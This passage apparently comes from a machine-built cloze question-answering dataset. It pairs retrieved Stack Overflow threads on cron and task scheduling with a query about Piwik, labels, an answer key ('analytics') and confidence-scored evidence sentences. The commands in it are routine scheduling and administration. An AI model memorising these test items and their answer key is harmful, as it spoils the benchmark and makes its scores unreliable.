most user-friendly approach since people are used to clicking on executables . All of this assumes that python is installed on your end user s computer . Another option is to use cron job Task Scheduler but to put it in the installer as a script so your end user doesn t have to do it .", "Question : I created an HTML page for my client so that every time he goes there a script is executed to update some data in the database . As soon as he lands on that page there is an AJAX call made to a Google API some results are returned and then some PHP scripts are executed to update and insert data in a database . For instance if he goes to http : www.example.com updateScript.html all of the above happens . Instead of he having to go there I want to schedule a daily task using cron job . I don t want to write all of my logic in PHP because the JavaScript part is kind of complex . Is there any way for a cron job to open that HTML page so that my script is executed I checked a few questions in SO like the following one : Using cron jobs to visit url http : stackoverflow.com questions 13259530 using-cron-jobs-to-visit-url but this didn t work for me . My cron job command is usr bin wget https : www.example.com updateScript.html . I also tried changing the udpateScript.html to PHP but it didn t work . Any suggestions of what I could do .. . Answer : Sadly cron cannot execute javascript on the page . However since you said you need suggestion you might want to look at PHP s cURL . You can access other website in PHP using cURL http : php.net manual en curl.examples-basic.php . There are lots of protocols you can do with it and the one you need is GET . An example would be on this site http : codular.com curl-with-php . Also since your website you want to access contains javascript you might want to mimic how your browser request to your server like this http : stackoverflow.com questions 19212293 mimicking-an-ajax-call-with-curl-php or this http : stackoverflow.com questions 30261830 how-to-emulate-ajax-request-using-php-curl . I hope you got some idea good luck with your project .", "Question : I created an HTML page for my client so that every time he goes there a script is executed to update some data in the database . As soon as he lands on that page there is an AJAX call made to a Google API some results are returned and then some PHP scripts are executed to update and insert data in a database . For instance if he goes to http : www.example.com updateScript.html all of the above happens . Instead of he having to go there I want to schedule a daily task using cron job . I don t want to write all of my logic in PHP because the JavaScript part is kind of complex . Is there any way for a cron job to open that HTML page so that my script is executed I checked a few questions in SO like the following one : Using cron jobs to visit url http : stackoverflow.com questions 13259530 using-cron-jobs-to-visit-url but this didn t work for me . My cron job command is usr bin wget https : www.example.com updateScript.html . I also tried changing the udpateScript.html to PHP but it didn t work . Any suggestions of what I could do .. . Answer : Wget won t execute the JavaScript on the page for you : it is something that has to be done in the browser or whatever can act as such on the server . So for you it s either rewriting the logic in PHP which might be very painful but very benefecial in the long term or try and set up something on the server as per the suggestions here http : unix.stackexchange.com questions 10577 need-to-execute-javascript-as-a-cron-job-possible .", "Question : null .. . Answer : Suppose i have to do some task on 23 of OCT at 11 : 59 . The cron expression i gave was endDate 23 OCT .. . .. . when am executing this code getting an error stating this task will never get executed.. . .. . .. . How to run a task using Cron expression only once in its life time Comment : What if you try with startDate 1 min earlier and endDate 1 min later", "Question : Before I ask Cron Jobs and Task Scheduler will be my last options this script will be used across Windows and Linux and I d prefer to have a coded out method of doing this than leaving this to the end user to complete . Is there a library for Python that I can use to schedule tasks I will need to run a function once every hour however over time if I run a script once every hour and use .sleep once every hour will run at a different part of the hour from the previous day due to the delay inherent to executing running the script and or function . What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler Or if this is not possible I would like your input as well . .. . .. . AP Scheduler fit my needs exactly . .. . .. . Version 3.0 .. . .. . out : .. . .. . Version 3.0 .. . .. . From Animesh Pandey s answer below Comment : The only sensible way would be to use a cron job or Windows scheduled task . There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation . Comment : Things to consider : 1 . What happens if your function takes longer than a minute hour : do you start the second instance or do you wait for the first instance to complete or do you cancel the second instance completely skip the interval 2 . What happens if the computer time jumps back forward DST or a manual change : do you repeat skip the corresponding executions 3 . What happens if the computer wakes up from hibernation : do you start the task immediately or wait for the next cycle to run 4 . Do you know how cron Task Scheduler APScheduler behave in those cases .. . Answer : To run something every 10 minutes past the hour .", "Question : Before I ask Cron Jobs and Task Scheduler will be my last options this script will be used across Windows and Linux and I d prefer to have a coded out method of doing this than leaving this to the end user to complete . Is there a library for Python that I can use to schedule tasks I will need to run a function once every hour however over time if I run a script once every hour and use .sleep once every hour will run at a different part of the hour from the previous day due to the delay inherent to executing running the script and or function . What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler Or if this is not possible I would like your input as well . .. . .. . AP Scheduler fit my needs exactly . .. . .. . Version 3.0 .. . .. . out : .. . .. . Version 3.0 .. . .. . From Animesh Pandey s answer below Comment : The only sensible way would be to use a cron job or Windows scheduled task . There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation . Comment : Things to consider : 1 . What happens if your function takes longer than a minute hour : do you start the second instance or do you wait for the first instance to complete or do you cancel the second instance completely skip the interval 2 . What happens if the computer time jumps back forward DST or a manual change : do you repeat skip the corresponding executions 3 . What happens if the computer wakes up from hibernation : do you start the task immediately or wait for the next cycle to run 4 . Do you know how cron Task Scheduler APScheduler behave in those cases .. . Answer : For apscheduler 3.0 see Unknown s answer http : stackoverflow.com a 22715345 1461896 . For apscheduler 3.0", "Question : I want to know how I can schedule a dynamic auto populated data function to auto run everyday at saved time Let s say I have a form that once the button is clicked it sends the data to the function which the posts the data . I simply want to automate that so that I don t have to press the button . Now the form will pass the data to the function . I tried doing the following but the problem is that Cron Job can only run the whole .php file and I am retrieving the saved time to run from MySQL . hourMin is the current hour : minute which is being matched against a saved time to auto run from Mysql . So if hourMin timeData then the function will run . How can I run Cron Job to auto run myFunction if the hourMin equals timeData So.. . The 10am 12pm 2pm is the timeHour and timeMinute that is retrieved from MySQL but based on each list id s . EDIT .. . .. . @randomSeed .. . .. . I want to parse the first arrays from both name and description if the scheduled time is correct . In database I have the following .. . .. . If it s difficult to understand. . what is quinoa http : www.dailyquinoa.com how-tos-information what-is-quinoa .. . .. . I simply want to schedule everything according to the time that is saved to MySQL as I showed at the very top postDataTime table . I d show what I have tried but I have searched for countless hours for an example of what I am trying to accomplish but I cannot find anything and what I tried doesn t work . . I thought I could use the exec function but from what it seems that does not allow me to run functions otherwise I would do the following. . Comment : In order for something to run every day and relying on PHP and or SQL to perform this will require to run a CRON job . It s way easier that way . Otherwise you will need to run your PHP file yourself every day and I m sure you don t want to be doing that . There s also another way using a trigger with SQL . Comment : @Fred-ii- I checked for MySQL Event Scheduler but don t think I can rewrite everything to parse the data straight from MySQL to the function . Not even sure I can do that . Comment : 1 . Please confirm you are able to schedule cron jobs on your shared host 2 . What should be the values for name and description when myFunction is started from a cron job Comment : @RandomSeed I have edited the question specifically for you . Comment : Schedule a cron job . . fetch to be run time and check inside cron script that if its time to run it or not if yes then do so .. . Answer : Cron tasks require you to preset the times at which they run they cannot yes you could hack this by having a script which edits your crontab but I would not say that is a very good idea have their time to run decided dynamically . This means you essentially have two options : .. . .. . 1 Set a cronjob to run every minute and use a temp file which you touch to tell the last time that it ran one of the scheduled-tasks Each time that it runs it checks if there was a task to run in between the last timestamp of your temp file and the current time and if there is it runs the task . This is a gross but simple solution . 2 Don t use cron . Create a daemon which checks what times tasks need to be run and puts them into a priority-queue then it pops the earliest element and sleeps until it is time to run that task . It runs the task and reinserts it to be run 24 hours in the future and repeats . This solution is by far more elegant but it also requires more work . Comment : Well I can t seem to be able to run daemon on shared-hosting . Personally touching clicking a file is what I am trying to get out of so that wouldn t work either . Which is pretty much what I tried to do . Comment : touch is a linux unix command which does nothing more than make sure the file-exists and updates it s last modified timestamp I did not mean that you should manually click the file or anything . You can substitute this out for any other way of persistently tracking timestamps such as using another table in your database . The reason I suggest this is because I would not rely on the cron scheduler to run you task at exactly the correct time .", "Question : null .. . Answer : I m familiar with Task Scheduler but I m struggling to convert a unix cron-task . I m using an open-source kanban board call kanboard https : kanboard.net documentation cronjob . For analytics it requires a task to be run each day . These are the instructions from the developer... . .. . .. . Configuration on Unix and Linux platforms .. . .. . There are multiple ways to define a cronjob on Unix Linux operating systems this example is for Ubuntu 14.04 . The procedure is similar to other systems . Edit the crontab of your web server user : .. . .. . Example to execute the daily cronjob at 8am : .. . .. . Note : the cronjob process must have write access to the database in case you are using Sqlite . Usually running the cronjob under the web server user is enough . Unfortunately there are no equivalent instructions for Windows based systems . Is there any software that runs on windows that will just take unix commands and schedule a task or any other way of doing the same in Windows Comment : stackoverflow.com questions 132971 http : stackoverflow.com questions 132971 what-is-the-windows-version-of-cron Comment : And stackoverflow.com questions 7195503 http : stackoverflow.com questions 7195503 setting-up-a-cron-job-in-windows Comment : What about visualcron.com http : www.visualcron.com z-cron.com http : www.z-cron.com or cronw.sourceforge.net http : cronw.sourceforge.net", "Question : I m working on an open-source app that will be distributed to users on different hosts . Some of these hosts will have cron jobs disabled for whatever reason . Now personally I think having a script that never ends using usleep X in a loop as an alternative to a cron is a stupid idea simply because of all the talk about usleep hogging the CPU . But this is something I m not entirely sure about . Would it be okay to use something like this as an alternative for cron jobs If not where else should I look Comment : Haven t checked recently but I seem to recall PHP leaking memory with long running processes . Probably not the most robust solution . TIAS Comment : have you thought about nodejs I think it s event model will be great for this sort of thing . Comment : @RobertPitt : the man just said he can t rely on cron being available not sure if NodeJS is the best suggestion here . This doesn t seem like one of those Bring your own tools gig and he obviously has some external limitations . Incidentally I agree NodeJS sounds like a good fit here if no such limitations exist . Comment : ahh sorry did not read the top half of the question why use cron job why not just check for updates pulls every hour or after the hour on a page load . Comment : google web cron or pseudo cron not necessarily as a solution but for ideas . .. . Answer : I am not too sure how good of an idea it is to create a fake cron job using PHP s usleep is and from reading the usleep s PHP page the comments do make it sound as though it doesn t hog CPU while it is sleeping . However there is another way . How timely does this cron job need to be What you could do is add the following to a web page s head . With cron.js looking something like : .. . .. . This would load an image once the page has finished loading the image being cron.php I add the getTime to prevent caching . The cron.php file would do whatever task needs to be done if any at that time . Then it would output an image an empty transparent pixel perhaps . If the website gets enough hits this may be viable even if the cron needs to be ran on a timely schedule . Also if you have a table or some other way of determining whether a task needs to be ran you could check to see if a cron needed to be ran before including the cron.js file in the head of the document . Comment : Why use script that loads an image and not just use a non displayed image in the first place Comment : An AJAX request could be made instead . This is just how I have seen it done before in such systems as SMF Themes default scripts script.js on line 555 . They probably use an image because it s less JavaScript .", "Question : I m trying to find the best solution for scheduling uploads to my server to specific directories . 1 . initially uploading the content .. . 2 . pushing it live at the defined time .. . .. . I ve heard cron job recommended but I ve no idea how to use such a thing . I m trying to upload .html .php and .jpg files to multiple different directories all at the same future time . I m using Linux cPanel PHP . Typical LAMP stack + cPanel . Any input is appreciated . Comment : Where do you upload your fine . As I may understand Cron-task means that you are on the beach and files being uploaded so you have to define where are files come from .. . Answer : You put this in your cron this code will run your script for every 3 hours . And in your PHP script you can have there rename function which is moving the files in your target path .", "Question : Before I ask Cron Jobs and Task Scheduler will be my last options this script will be used across Windows and Linux and I d prefer to have a coded out method of doing this than leaving this to the end user to complete . Is there a library for Python that I can use to schedule tasks I will need to run a function once every hour however over time if I run a script once every hour and use .sleep once every hour will run at a different part of the hour from the previous day due to the delay inherent to executing running the script and or function . What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler Or if this is not possible I would like your input as well . .. . .. . AP Scheduler fit my needs exactly . .. . .. . Version 3.0 .. . .. . out : .. . .. . Version 3.0 .. . .. . From Animesh Pandey s answer below Comment : The only sensible way would be to use a cron job or Windows scheduled task . There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation . Comment : Things to consider : 1 . What happens if your function takes longer than a minute hour : do you start the second instance or do you wait for the first instance to complete or do you cancel the second instance completely skip the interval 2 . What happens if the computer time jumps back forward DST or a manual change : do you repeat skip the corresponding executions 3 . What happens if the computer wakes up from hibernation : do you start the task immediately or wait for the next cycle to run 4 . Do you know how cron Task Scheduler APScheduler behave in those cases .. . Answer : The Python standard-library does provide sched http : docs.python.org 2 library sched.html and threading http : docs.python.org 2 library threading.html threading.Timer for this task . But this means your scheduler script will have be running all the time instead of leaving its execution to the OS which may or may not be what you want . Comment : would be nice to see a demo . Comment : There are examples in the docs I linked . And I bet googling them yields even more . Comment : Ah so you don t want upvotes and you d prefer the possibility of being flagged for link-only answers Comment : Uhm no I m not really hunting upvotes just wanted provide some pointers . It s just that I don t quite see the need to provide a completely fleshed out example when there are so many available . Especially since OP has already settled on another solution .", "Question : This is my first project with crontab so I am unsure what I am doing wrong .. . .. . I was under the assumption you wrote something like .. . .. . But my code is .. . .. . but nothing appears to be working . I checked .. . .. . and got .. . .. . I double checked and I wrote the directory I think correctly and that is the name of my file I want to run . Any tips for a newbie Comment : service or systemctl status and cron have nothing to do with one another . Are you trying to run a service or run a specific task on a schedule Comment : Yes . I am trying to run a task every 30 minutes Comment : Then service is entirely unrelated . systemd does support timer units that can be used like cronjobs but that s different from a normal service and not what you are doing if you are writing a line like that as a traditional cronjob . cron jobs don t have a status . They run when they are configured to and the rest of the time they aren t active . .. . Answer : You are using correct code to schedule the crontab just restart the cron and it would work . but the command you are executing to check the status is incorrect . i.e . you are using cond instead of c r ond service cond status . 1 . You can try the below code . its same of your code .. . .. . 30 home pi ES logTemp.py .. . .. . 2 . To restart the cron Run .. . .. . service crond restart .. . .. . 3 . And to check status of cron Run .. . .. . service crond status Comment : I just realized I needed to put sudo in front of these commands . Comment : Thanks for the help this did it .", "Question : Goal .. . .. . I have a script written in python . 1 . connect to database .. . 2 . insert some fake data .. . .. . My goal is execute that script every hour . .. . .. . database.py .. . .. . .. . .. . CronniX .. . .. . I did some researches and people suggested a bunch of apps to do that . So I ve tried downloaded installed CronniX .. . .. . create a task set the schedule and run it . enter image description here http : i.stack.imgur.com hz6Jf.png .. . .. . It kept hanging on executing .. . .. . .. . .. . .. . Task Till Dawn .. . .. . In addition to that I ve also tried Task Till Dawn and again .. . .. . create a task set the schedule and run it . Result .. . .. . enter image description here http : i.stack.imgur.com yOnVo.png .. . .. . Nothing seem to insert to my database even it said 35 succesfully executions . All it did was pop-up my database.py inside Xcode window . .. . .. . Terminal .. . .. . I run python database.py It works perfectly fine and data get inserted . .. . .. . I was thinking that it was the permission issue but I already did .. . .. . sudo chmod a+x database.py .. . .. . .. . .. . What did I miss What s the better way to achieve this Any suggestions hints will be much appreciated Comment : Did you tried cron Sometimes simple solutions work best and you re already using the terminal.. . Comment : If I use cron how do I set configure it to run every 60 minutes . Please kindly advise in the meantime I ll read up on cron . Thanks for your suggestion . Comment : Just do it all in python . Use a thread and sleep it for an hour . Comment : Does . database.py work from terminal without python And usr bin python database.py Comment : @cricket 007 : If I do it all in python I will have to open up terminal and type python database.py . I m looking for something that do it automatically in the background . Please correct me if missed anything here . .. . Answer : You can also just use crontab : .. . .. . Every hour : .. . .. . Every minute : .. . .. . To see your crontabs : .. . .. . To see further options : Comment : Can I decrease it to a minute for testing to verify if it work Will this work crontab path to script Comment : Edited answer yes that will work Comment : Cool trying it now . Thanks . :", "Question : Before I ask Cron Jobs and Task Scheduler will be my last options this script will be used across Windows and Linux and I d prefer to have a coded out method of doing this than leaving this to the end user to complete . Is there a library for Python that I can use to schedule tasks I will need to run a function once every hour however over time if I run a script once every hour and use .sleep once every hour will run at a different part of the hour from the previous day due to the delay inherent to executing running the script and or function . What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler Or if this is not possible I would like your input as well . .. . .. . AP Scheduler fit my needs exactly . .. . .. . Version 3.0 .. . .. . out : .. . .. . Version 3.0 .. . .. . From Animesh Pandey s answer below Comment : The only sensible way would be to use a cron job or Windows scheduled task . There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation . Comment : Things to consider : 1 . What happens if your function takes longer than a minute hour : do you start the second instance or do you wait for the first instance to complete or do you cancel the second instance completely skip the interval 2 . What happens if the computer time jumps back forward DST or a manual change : do you repeat skip the corresponding executions 3 . What happens if the computer wakes up from hibernation : do you start the task immediately or wait for the next cycle to run 4 . Do you know how cron Task Scheduler APScheduler behave in those cases .. . Answer : Maybe this can help : Advanced Python Scheduler http : apscheduler.readthedocs.io .. . .. . Here s a small piece of code from their documentation : Comment : This is the answer to my problems it looks like so simple and easy to use . I ve appended some test code to my reply . Thanks again . Comment : You re liable to be flagged for a link-only answer . Comment : This syntax is no longer up to-date Comment : This works with apscheduler version 3.x Could someone give us a simple example like this but with 3.x version", "Question : Goal .. . .. . I have a script written in python . 1 . connect to database .. . 2 . insert some fake data .. . .. . My goal is execute that script every hour . .. . .. . database.py .. . .. . .. . .. . CronniX .. . .. . I did some researches and people suggested a bunch of apps to do that . So I ve tried downloaded installed CronniX .. . .. . create a task set the schedule and run it . enter image description here http : i.stack.imgur.com hz6Jf.png .. . .. . It kept hanging on executing .. . .. . .. . .. . .. . Task Till Dawn .. . .. . In addition to that I ve also tried Task Till Dawn and again .. . .. . create a task set the schedule and run it . Result .. . .. . enter image description here http : i.stack.imgur.com yOnVo.png .. . .. . Nothing seem to insert to my database even it said 35 succesfully executions . All it did was pop-up my database.py inside Xcode window . .. . .. . Terminal .. . .. . I run python database.py It works perfectly fine and data get inserted . .. . .. . I was thinking that it was the permission issue but I already did .. . .. . sudo chmod a+x database.py .. . .. . .. . .. . What did I miss What s the better way to achieve this Any suggestions hints will be much appreciated Comment : Did you tried cron Sometimes simple solutions work best and you re already using the terminal.. . Comment : If I use cron how do I set configure it to run every 60 minutes . Please kindly advise in the meantime I ll read up on cron . Thanks for your suggestion . Comment : Just do it all in python . Use a thread and sleep it for an hour . Comment : Does . database.py work from terminal without python And usr bin python database.py Comment : @cricket 007 : If I do it all in python I will have to open up terminal and type python database.py . I m looking for something that do it automatically in the background . Please correct me if missed anything here . .. . Answer : You can use crontab and I think it is already installed on OSX Open a Terminal and run crontab -e . This should open an Editor . There you can type .. . .. . @hourly usr bin python database.py", "Question : Goal .. . .. . I have a script written in python . 1 . connect to database .. . 2 . insert some fake data .. . .. . My goal is execute that script every hour . .. . .. . database.py .. . .. . .. . .. . CronniX .. . .. . I did some researches and people suggested a bunch of apps to do that . So I ve tried downloaded installed CronniX .. . .. . create a task set the schedule and run it . enter image description here http : i.stack.imgur.com hz6Jf.png .. . .. . It kept hanging on executing .. . .. . .. . .. . .. . Task Till Dawn .. . .. . In addition to that I ve also tried Task Till Dawn and again .. . .. . create a task set the schedule and run it . Result .. . .. . enter image description here http : i.stack.imgur.com yOnVo.png .. . .. . Nothing seem to insert to my database even it said 35 succesfully executions . All it did was pop-up my database.py inside Xcode window . .. . .. . Terminal .. . .. . I run python database.py It works perfectly fine and data get inserted . .. . .. . I was thinking that it was the permission issue but I already did .. . .. . sudo chmod a+x database.py .. . .. . .. . .. . What did I miss What s the better way to achieve this Any suggestions hints will be much appreciated Comment : Did you tried cron Sometimes simple solutions work best and you re already using the terminal.. . Comment : If I use cron how do I set configure it to run every 60 minutes . Please kindly advise in the meantime I ll read up on cron . Thanks for your suggestion . Comment : Just do it all in python . Use a thread and sleep it for an hour . Comment : Does . database.py work from terminal without python And usr bin python database.py Comment : @cricket 007 : If I do it all in python I will have to open up terminal and type python database.py . I m looking for something that do it automatically in the background . Please correct me if missed anything here . .. . Answer : take the time run and sum +1h and then each 5s verify current with the old time+1h .. . .. . you should add this as functions because my code is ugly xDD", "Question : Goal .. . .. . I have a script written in python . 1 . connect to database .. . 2 . insert some fake data .. . .. . My goal is execute that script every hour . .. . .. . database.py .. . .. . .. . .. . CronniX .. . .. . I did some researches and people suggested a bunch of apps to do that . So I ve tried downloaded installed CronniX .. . .. . create a task set the schedule and run it . enter image description here http : i.stack.imgur.com hz6Jf.png .. . .. . It kept hanging on executing .. . .. . .. . .. . .. . Task Till Dawn .. . .. . In addition to that I ve also tried Task Till Dawn and again .. . .. . create a task set the schedule and run it . Result .. . .. . enter image description here http : i.stack.imgur.com yOnVo.png .. . .. . Nothing seem to insert to my database even it said 35 succesfully executions . All it did was pop-up my database.py inside Xcode window . .. . .. . Terminal .. . .. . I run python database.py It works perfectly fine and data get inserted . .. . .. . I was thinking that it was the permission issue but I already did .. . .. . sudo chmod a+x database.py .. . .. . .. . .. . What did I miss What s the better way to achieve this Any suggestions hints will be much appreciated Comment : Did you tried cron Sometimes simple solutions work best and you re already using the terminal.. . Comment : If I use cron how do I set configure it to run every 60 minutes . Please kindly advise in the meantime I ll read up on cron . Thanks for your suggestion . Comment : Just do it all in python . Use a thread and sleep it for an hour . Comment : Does . database.py work from terminal without python And usr bin python database.py Comment : @cricket 007 : If I do it all in python I will have to open up terminal and type python database.py . I m looking for something that do it automatically in the background . Please correct me if missed anything here . .. . Answer : According to Rafael Santos advice you could use a cron simply like this : .. . .. . You type : crontab -e and add this line : .. . .. . It will run your script ever hour . Or if you are using Django you can use Celery http : docs.celeryproject.org en latest userguide periodic-tasks.html that does the same thing . It has a crontab type" ] }
[ "yes-answer-long", "yes-answer-short" ]
scheduler
UNK_RELATION
piwik@analytics@41
piwik -- an open-source gpl license web @placeholder system .
{ "confidence": [ 40.197391510009766, 32.17051696777344, 32.151947021484375, 31.891529083251953, 30.978872299194336, 30.22673797607422, 29.692960739135742, 28.871129989624023, 28.735870361328125, 28.718734741210938, 28.21392059326172, 28.21392059326172, 28.21392059326172, 28.21392059326172, 28.01993179321289, 27.974365234375, 27.5623779296875, 27.168781280517578, 27.168781280517578, 27.168781280517578, 27.168781280517578, 26.85460662841797, 26.5408935546875, 26.5408935546875, 26.34891128540039, 26.217662811279297, 26.217662811279297, 26.217662811279297, 26.217662811279297, 26.10417938232422, 25.608440399169922, 25.49677848815918, 25.49677848815918, 25.181577682495117, 25.181577682495117, 25.181577682495117, 25.181577682495117, 25.181577682495117, 25.181577682495117, 25.181577682495117, 25.08100128173828, 25.08100128173828, 25.08100128173828, 25.08100128173828, 25.058475494384766, 25.058475494384766, 24.960338592529297, 24.69454574584961, 24.69454574584961, 24.69454574584961, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.667709350585938, 24.544635772705078, 24.544635772705078, 24.544635772705078, 24.544635772705078, 24.335859298706055, 24.100757598876953, 24.100757598876953, 24.07168197631836, 23.84783935546875, 23.823749542236328, 23.823749542236328, 23.803237915039062, 23.803237915039062, 23.803237915039062, 23.555015563964844, 23.242218017578125, 23.186054229736328, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.994680404663086, 22.91963005065918, 22.825620651245117, 22.74144172668457, 22.74144172668457, 22.662830352783203, 22.662830352783203, 22.57992935180664, 22.57992935180664, 22.57992935180664, 22.57992935180664 ], "content": [ "I have installed piwik successfuly on my system .", "To access this value users must be logged-in in your system so you can fetch this user ID from your system and pass it to Piwik .", "I am also user of Piwik open-source analytic tool .", "This piwik library is intended for a python web server such as Django .", "I guess you ve installed Piwik on the running dyno which writes Piwik s configuration to the file system .", "i ve got a site on xyz.com and piwik on xyz.com piwik .", "That said running a web server to send tracks to piwik seems to be overdoing it .", "Piwik is running fine but unfortunately not all data - requested by piwik - are handled by the server .", "Piwik is open source. . You can check its source code if you want. .", "Yes it is possible and was introduced in one of the recent Piwik versions .", "This was a bug in piwik and is now resolved .", "I am new to Piwik .", "Piwik states the same error : -", "Using Piwik 1.10.1", "The JavaScript that Piwik runs to gather data about the browser of the web page it is included in", "I ve watched behaviour like : .. . .. . xyz.com piwik - error .. . .. . xyz.com piwik index.php - is fine .. . .. . xyz.com piwik module .. . - error .. . .. . nginx.conf .. . .. . my-site.conf", "For example if Piwik has been installed in the piwit subfolder the URL would read example.com piwik http : example.com piwik .", "I have a extranet that uses PIWIK to monitor visit statistics .", "Does PIWIK count the visit time if the browser tab is not active", "My objective is to make piwik up and running on my machine .", "I want to see report of URLs by userid in piwik application .", "Thanks but this only solved the problem for the matching from xyz.com piwik to xyz.com piwik index.php .", "That page is tracked with Piwik .", "My analytics provider is Piwik .", "The value column stores serialized and gzcompressed http : php.net manual en function.gzcompress.php DataTable https : github.com piwik piwik blob master core DataTable.php objects so there is no easy way to read it .", "You are missing any default action for the piwik URI .", "The call of xyz.com piwik module still does not works .", "Recently I have started to use Piwik .", "The ID Site is the piwik ID of the website you re tracking .", "--install mysql but make sure only wamp s sql is running .. . --set passowrd for root in wamp- mysql-- mysqlConsole-- set password for root @ localhost password yourPasswordHere .. . --Paste piwik folder in www directory .. . --open localhost through wamp login in adminer and phpmyadmin bottom right .. . --run http : localhost : 8080 piwik-- u will see directory listing click on folder piwik .", "You should be able to see welcome screen for piwik installation .. . .. . .. . --make sure we have php-7 as selected version in wamp for php wamp was carrying two version so we can choose to avoid error in system check step of installation .. . --Follow the steps which are very straight forward .", "Now I ve editet my nginx conf in a way that I merged the both blocks location piwik and location .php but requests with piwik module still fail .", "I downloaded the https : github.com piwik piwik-python-api project that is supposed to allow a python script creation but I am preety stuck after that .", "So how do i have configure nginx so that i can access piwik via www.mysite.com piwik", "I already seen this post https : github.com piwik piwik issues 2786 but this does not help me for my problem .", "I m using Piwik on my website I guess the tracking info from Piwik could be helpful", "Because if it use clients piwik.js and he is using old version of Piwik I will not have some piwik methods", "This was resolved in my original github post https : github.com piwik piwik issues 9419 .", "Have I totally misunderstood the usage of the docker-Piwik https : hub.docker.com r piwik conatiner", "I created a custom diemnsion in Piwik and added the relevant code to my tracking script but Piwik says that Value is not defined .", "My question is if there a way to link this User Id in PIWIK to my user table in my extranet", "However what I do next is not at all clear to me and the Piwik documentation does not help .", "I am trying to install piwik on my machine using XAMPP as it requires PHP apache and mysql .", "So for anybody who is new in piwik and in linux apache php mysql here is what i did to achieve the objective .", "I want to use Docker https : hub.docker.com to deploy the web analytics tool Piwik on my CentOs 7 Server .", "the tracker collects data on the web page it s included in and sends it to Piwik by calling the HTTP tracking API .", "I have the following setup .. . .. . https : example.net my website running on Nginx .. . nn.nn.nn.nn my Piwik server which is only accessible via its IP address .. . .. . On my web pages I have the usual Piwik snippet .. . .. . with Nginx configured as .. . .. . From the Piwik documentation I figured that I also needed a few changes to my config.ini.php file .. . .. . With this setup I can login to Piwik and administer it via the url https : example.net piwik .", "I have wordpress-plugin which outputs Piwik tracking js on client site : .. . .. . The issue is that some of clients already use their own piwik tracking js and it ends up with two piwik tracking JS outputted on their site .", "To write a custom piwik plugin I m following tutorial : http : piwik.org blog 2014 09 create-widget-introducing-piwik-platform .. . .. . How can I access the request data that piwik receives within the plugin", "On the Piwik integrations page at piwik.org integrate http : piwik.org integrate there s a Magento extension - github.com henkelund magento2-henhed-piwik http : github.com henkelund magento2-henhed-piwik - that could be the code you re looking for .", "Piwik is installed under a subdomain like piwik.mydomain.net and the site is available under website.mydomain.net .", "Piwik changeset 5086 http : dev.piwik.org trac changeset 5086", "Have you tried the piwik index.php is args args fix above", "I got the PiwikTracker.php from github and added it to my Piwik installation .", "I have installed the tracking tool Piwik as a Heroku App .", "I am working on using piwik as a tracker for vm usage .", "Can anyone provide a link-to a simple example of how to send anything to piwik", "Piwik is simply calling a URL when it sends data to the server .", "Do you not mean to use realpath localhost aqar2 piwik .", "This is a specific questions regarding fortrabbit in combination with the analyctics platform Piwik .", "I am using Piwik managed goal conversion for my pages .", "I have a question about Piwik Analytics .", "piwik event-tracking symbols http : i.stack.imgur.com Hpgcu.png", "1 . as you say the URL needs to be that for Piwik not the website .", "I d like to get statistics of downloads using Piwik .", "http : piwik-server piwik.php cvar 1 : OS iphone 5.0 2 : Piwik Mobile Version 1.6.2 3 : Locale en : : en 4 : Num Accounts 2 Here you can see custom variables called OS Piwik Mobile Version Locale and Num Accounts .", "Piwik supports load-balancing", "This is because you are not authenticated to piwik .", "Mabe this this helps someone : .. . .. . Piwik tracking automatic snippet inclusion http : blog.christian-reiner.info 2013 01 23 piwik", "Therefore it is simple enough to replicate the call in Python using a script that will call a URL : https : docs.python.org 2 howto urllib2.html .. . .. . The actual piwik URLs can be as simple as : .. . .. . This will start a single session in the piwik DB .", "Visitory for example.tld - ID 13 - Piwik 1 were also to be found in domain.tld - ID 13 - Piwik 2 .. . .. . So the excitement was very short lived .", "To achieve this I have followed this page https : hub.docker.com r piwik which states that in order to run the piwik container a mysql container must be running .", "I have followed guide at piwik FAQ http : piwik.org faq how-to faq 164 to configure GeoIP Geo location by PECL extention .", "But is is always showing .. . .. . According to this provider your current location is : .. . .. . Unknown .. . .. . I have also placed GeoIPCity.dat in .. . piwik misc but same error .", "I am in the process of switching my site analytics from GA to Piwik and would like to incorporate all the historic data that I can .", "During the installation I get this error : .. . .. . I m not able to set this value via the dashboard and workarounds don t work either like creating a user.ini with this said value into your Piwik root folder or creating a .htaccess in your Piwik root folder .. . .. . This might be only an issue with PHP 5.6 see : https : github.com piwik piwik issues 6465 .. . .. . Does anyone has an idea how to solve this issue other than switching back to PHP 5.5", ".. . .. . In search of another possible hint to the source of my problem I checked the logs of the containers : .. . .. . Conclusion : It seems like the piwik container is ready .", "I know one should have a web server loaded with MySql and PHP to run piwik which is hardly half an hour job once we have all these but coz different resource available i am struggling to get this thing done .", "Upgrading MySQL to 5.7 on a previous working Piwik has broken it .", "I would like to setup Piwik ecommerce tracking on my site .", "When people use the app the PIWIK tracking JS will not run .", "How can I make the browsing to the Piwik Login Page work", "Any issue would be with the piwik container itself possible reasons : incorrect link", "Is there a way to send Google analytics client id to Piwik by using javascript solution", "I wonder how I can make piwik track ajax requests .", "But reading through the Piwik Magento extension code should tell you .", "I have looked into Analytics softwares like Piwik Google Analytics clicky .", "I know we can store this data as events in Piwik or GA .", "thanks @Erick i can use the piwik device detector with your guide .", "It says something along the lines of path to piwik misc log-analytics import logs.py --url http : analytics.example.com access.log .. . .. . in my condition i have tried this one python C : Program Files x86 Apache Software Foundation Apache2.2 htdocs piwik misc log-analytics import logs.py --url http : localhost piwik C : Program Files x86 Apache Software Foundation Apache2.2 logs access.log --idsite 1 --enable-http-redirects --enable-http-errors --enable-bots --enable-static --recorder-max-payload-size 300 .. . .. . but that throws up an error message .", "The Heroku file system is ephemeral and Heorku dynos are killed every day .", "I m wondering if I should register a new site id with piwik when a new user creates a 